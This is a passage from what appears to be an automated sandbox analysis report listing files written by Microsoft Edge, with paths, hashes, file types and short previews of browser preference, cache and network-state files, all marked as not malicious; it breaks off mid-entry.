Entropy (8bit):	5.1102557573284955
Encrypted:	false
SSDEEP:	192:st9CkdpDFshUjSIa34HkKcGZ8/bV+FTXQA4I3q7NIoPqYJ:st9CQDFsieX2ybGzQxB7NI2
MD5:	A78373C9A0BC8F95A573CE57BA155C5E
SHA1:	1610A87435717BF9F34029EB227C71A1E3B86CB6
SHA-256:	C30694258E5BBEA52849A1344818819CCF6F51729925F3D57D637FA0A72254A4
SHA-512:	70B584FAD9F1AFF7BD9B3588E16A825A3251C8976A180FB368E5AEAA2046B6124BA99757A3AE9F755811CB298276AF3F2B66F3A349D95D52E85FC78FCF291C88
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377254138064976","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF39f8d.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.1102557573284955
Encrypted:	false
SSDEEP:	192:st9CkdpDFshUjSIa34HkKcGZ8/bV+FTXQA4I3q7NIoPqYJ:st9CQDFsieX2ybGzQxB7NI2
MD5:	A78373C9A0BC8F95A573CE57BA155C5E
SHA1:	1610A87435717BF9F34029EB227C71A1E3B86CB6
SHA-256:	C30694258E5BBEA52849A1344818819CCF6F51729925F3D57D637FA0A72254A4
SHA-512:	70B584FAD9F1AFF7BD9B3588E16A825A3251C8976A180FB368E5AEAA2046B6124BA99757A3AE9F755811CB298276AF3F2B66F3A349D95D52E85FC78FCF291C88
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377254138064976","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.564107084985971
Encrypted:	false
SSDEEP:	768:hDEvH0WPWwfZ48F1+UoAYDCx9Tuqh0VfUC9xbog/OVgBi2lrwXomozpctuy:hDEvH0WPWwfZ4u1jaFs2O4kth
MD5:	423EB1D28E8EB347FC4F4E7010685B96
SHA1:	3942B6E2C4BC7B08E8618A4514E4F9349335AAD6
SHA-256:	CC7730F386EE537820378455C495F7F068F08779C084E0AFE65A8912707AA682
SHA-512:	E5AEA6D89A46D66F99981D1E9AEBEC26FF1D46116A095BAC92A860C6DA342F34BB6BF8174E26C493ABA78CC160430810D20461D312C65B7A56684BBC9F383FE0
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377254137332647","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377254137332647","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF2e7d5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.564107084985971
Encrypted:	false
SSDEEP:	768:hDEvH0WPWwfZ48F1+UoAYDCx9Tuqh0VfUC9xbog/OVgBi2lrwXomozpctuy:hDEvH0WPWwfZ4u1jaFs2O4kth
MD5:	423EB1D28E8EB347FC4F4E7010685B96
SHA1:	3942B6E2C4BC7B08E8618A4514E4F9349335AAD6
SHA-256:	CC7730F386EE537820378455C495F7F068F08779C084E0AFE65A8912707AA682
SHA-512:	E5AEA6D89A46D66F99981D1E9AEBEC26FF1D46116A095BAC92A860C6DA342F34BB6BF8174E26C493ABA78CC160430810D20461D312C65B7A56684BBC9F383FE0
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377254137332647","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377254137332647","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114376
Entropy (8bit):	5.578403843044462
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKPt3dfvYgat+:d9LyxPXfOxr1lMe1nL/CL/TXEmsvFA+
MD5:	177E598798A8CF57266C2788D103F37E
SHA1:	96DE70410C9CC34C018EFDDD695704E8B4FCF4AE
SHA-256:	0F5B5D59E9597B2F1F0A891475EDD057E357193081DA279F64DE15167624E119
SHA-512:	71736B6B6CAF83D29907FE10E4BED876EF81A5B60E5FC9CFF96827307B79481A588BDDFD4D258701C9E9B848B34AB6705AC53C9633F14794565C2F5EB9A3E12C
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188881
Entropy (8bit):	6.385411922066798
Encrypted:	false
SSDEEP:	3072:0MIM+twSDqwWLxePwAL/nOM2HyGlk8ZyRdWtI3+v:6qwKuXL/OtrlXZb+m
MD5:	EDFECE40682D124D75909D8325E0BA31
SHA1:	F7660F9EA32F69F5427E806C464C389868A2D64C
SHA-256:	A04AEA0525DB8D4E54786CC88ED7BC28E43F415D021586D514F6C1F15178BFF4
SHA-512:	E34FFB4E7127411720CDA6BD8B4A4FC67AF58E91B6AE9046CADFDDF6D4525E195BED6428259FA1E85135E8DD3B4A41CE15879195BE5F5F2265655717E4B9A009
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;....x.x........,T.8..`,.....L`.....,T...`......L`......Rc&......exports...Rc.Gr.....module....Rc.r......define....Rb..S.....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m....b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....zY...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5654124237607285
Encrypted:	false
SSDEEP:	3:i9FjXl/ly/l9/lxE0tlla/lyaK:izmO0gyj
MD5:	3190E5A2D888283661BB785C6AC5226C
SHA1:	6CA4F1F6A8F0D523F6236AFFD21511128A69C7E7
SHA-256:	A761956C3F2F25BDA3914FE52CF47F8CBB5BAE2A5DFF63AD60BC00458A6172E0
SHA-512:	18D626522179AF76E74CAAA4AB8212A242E106ABE1A0C20C5D46F7F63783EFC37E807D560F2F9BF63A5832870F0470D50BDD903C3906003D83F71C8A0ACA4D41
Malicious:	false
Preview:	@......koy retne.........................X....,....................../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5654124237607285
Encrypted:	false
SSDEEP:	3:i9FjXl/ly/l9/lxE0tlla/lyaK:izmO0gyj
MD5:	3190E5A2D888283661BB785C6AC5226C
SHA1:	6CA4F1F6A8F0D523F6236AFFD21511128A69C7E7
SHA-256:	A761956C3F2F25BDA3914FE52CF47F8CBB5BAE2A5DFF63AD60BC00458A6172E0
SHA-512:	18D626522179AF76E74CAAA4AB8212A242E106ABE1A0C20C5D46F7F63783EFC37E807D560F2F9BF63A5832870F0470D50BDD903C3906003D83F71C8A0ACA4D41
Malicious:	false
Preview:	@......koy retne.........................X....,....................../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF327bd.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5654124237607285
Encrypted:	false
SSDEEP:	3:i9FjXl/ly/l9/lxE0tlla/lyaK:izmO0gyj
MD5:	3190E5A2D888283661BB785C6AC5226C
SHA1:	6CA4F1F6A8F0D523F6236AFFD21511128A69C7E7
SHA-256:	A761956C3F2F25BDA3914FE52CF47F8CBB5BAE2A5DFF63AD60BC00458A6172E0
SHA-512:	18D626522179AF76E74CAAA4AB8212A242E106ABE1A0C20C5D46F7F63783EFC37E807D560F2F9BF63A5832870F0470D50BDD903C3906003D83F71C8A0ACA4D41
Malicious:	false
Preview:	@......koy retne.........................X....,....................../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\00364039-e5d5-40aa-af15-642c480d2ac1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\3f08ad70-13a7-4efb-a832-6c80b000d242.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\3faccd44-3494-4359-9f3d-5f30b46d4a02.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF2c6f0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\ab700496-ff7d-4af9-af77-b48a52ed7644.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c8cfa797-59dd-4599-9823-db1632fb701b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.1102557573284955
Encrypted:	false
SSDEEP:	192:st9CkdpDFshUjSIa34HkKcGZ8/bV+FTXQA4I3q7NIoPqYJ:st9CQDFsieX2ybGzQxB7NI2
MD5:	A78373C9A0BC8F95A573CE57BA155C5E
SHA1:	1610A87435717BF9F34029EB227C71A1E3B86CB6
SHA-256:	C30694258E5BBEA52849A1344818819CCF6F51729925F3D57D637FA0A72254A4
SHA-512:	70B584FAD9F1AFF7BD9B3588E16A825A3251C8976A180FB368E5AEAA2046B6124BA99757A3AE9F755811CB298276AF3F2B66F3A349D95D52E85FC78FCF291C88
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377254138064976","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340968290017037","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d610c88f-ee43-4ed3-9cb7-505a8e288027.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
